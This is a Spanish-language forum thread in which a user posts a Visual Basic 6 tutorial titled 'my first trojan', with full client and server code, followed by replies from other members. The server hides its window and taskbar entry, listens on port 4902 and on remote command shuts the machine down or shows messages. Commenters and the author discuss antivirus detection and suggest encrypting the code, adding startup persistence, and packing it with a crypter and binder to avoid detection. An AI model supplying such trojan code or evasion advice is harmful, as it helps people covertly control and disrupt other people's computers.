Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]

[NightMore]

                                                                        [Mi primer troyano]
Programas necesitados : Visual basic 6.0
Hola,buenos dias.Me pase por algunos post y encontre que mucha gente trata de hacer su primer troyano.Este es un troyano simple.Espero que comprendan que no deben copiar & pegar deben estudiar este codigo.Para avansar mas con el.


Bueno,Abrimos visual basic 6.0 Colocamos 2 label 2 textbox 2 botones(Dos botones por ahora) El primer commandbuton se va a llamar "Conectar" El segundo CommandButon "Desconectar"
Label1: Se va a llamar Ip/Host :
Label2: Se va a llamar Puerto :

Lo acomodon como ustedes quieran.Bueno agregamos el componente winsock y le ponemos el nombre Sock1 o como ustedes quieran

Código [Seleccionar] Expandir

En el command1(Conectar) Lo clickeamos 2 veces Adentro de el commandbuton1(Conectar) Colocamos el sigiente codigo
Sock1.close 'Cierra todas las conexiones
Sock1.connect text1.text,text2.text 'el text1.text es donde se ingresa la ip el text2.text el puerto

Listo el command1 lo tenemos listo ahora vamos al command2 lo clikeamos 2 veces.Adentro del commandbutton2 colocamos el sigiente codigo :

Código [Seleccionar] Expandir

Sock1.close ' Cierra todas las conexiones

Ahora agregamos el boton3 commandbutton3 en propiedades eligimos el caption en caption escribimos Shutdown.Adentro del commandbutton3 ponemos :

Código [Seleccionar] Expandir

If Winsock1.State = 7 Then 'Verifica que el winsock este conectado 7 = Conectado
    Winsock1.SendData "Shutdown" 'envia una señal al servidor la señal "Shutdown"
Else 'Si no estamos conectado pasa lo sigiente
    MsgBox "Error necesitas estar conectado.", vbInformation, "Error :"
End If
end sub


Ahora generamos el exe File>Make to exe lo guardamos.Ahora Hacemos otro proyecto que seria el servidor.Elegimos el exe standar ahora clickeamos 2 veces el formulario ponemos lo sigiente

Código [Seleccionar] Expandir


Me.Visible = False
App.TaskVisible = False 
App.Title = ""

Winsock1.LocalPort = "4902"
Winsock1.Listen

Ahora agregamos el componente winsock1 y una ves colocado en el formulario ponen en general clickear 2 veces form load ... y ponen el sigiente codigo en declaraciones

Private Const SPLITTER As String = "{Ex}"

Código [Seleccionar] Expandir


Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = "4902"
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Temp As String
Dim Temp2() As String

Winsock1.GetData Temp
Temp2 = Split(Temp, SPLITTER)
'SPLITTER which = "{Ex}"
Select Case Temp2(0)
    Case "Shutdown"
    Shell "shutdown -s -t 00" ' Esta es la señal de shutdown
    Case "Message"
    MsgBox Temp2(1)
End Select
End Sub


[Psyke1]

Bienvenido!
Gracias por el esfuerzo pero creo que la red esta un poco saturada ya de manuales de este tipo.

DoEvents!

[BlackZeroX]

.
@Mr. Frog ©::Deja que aprenta total la red es libre...

@NightMore::no lo he revisado pero lee un poco sobre logica matematica y relacionalo con la programacion te ayudara bastante... quisas no le encuentres similitud pero a la larga te ayudara bastante.

Dulces Lunas!¡.

[Psyke1]

Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código (vb) [Seleccionar] Expandir

App.TaskVisible = False 
App.Title = ""

La heurística de los AVs lo detectan, mejor encriptarlo...

DoEvents!

[NightMore]

Ami no me lo detecta ningun anti-virus.probe en otras pc tampoco.Solo fue un pequeño tutorial de un cliente y server,Lo que quiere decir un simple tutorial.Pero igual gracias por sus comentarios

[79137913]

HOLA!!!

Mmm, esto mas que un troyano es un chat unilateral por MsgBoxes modificado.

Tambien, deberia iniciarse con windows.

Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.

Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda

Pero bueno.

Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...

GRACIAS POR LEER!!!

[fary]

Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código (vb) [Seleccionar] Expandir

App.TaskVisible = False 
App.Title = ""

La heurística de los AVs lo detectan, mejor encriptarlo...

DoEvents!

ademas App ya no va ni en windows vista ni en 7

salu2!

[Karcrack]

Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...

No creo que sea necesario que comente en cada post que leo Ademas, comparto la opinion de Mr.Frog

[BlackZeroX]

...
Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.
...
Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda
...

Eso esta demás, es simple y ayudara a muchos para sistemas futuros eso en punto de vistaa deberia ser lo mas resaltable, mas no lo de uso daniño... por algo libero el SourceCode.

Dulces Lunas!¡.

[NightMore]

Dinki99 te equibocas yo,Yo tengo windows7 y si funciona.Algunos comandos no pero otros si.si los detecta el anti-virus solo usen temida despues bindenlo y listo.No lo detecta...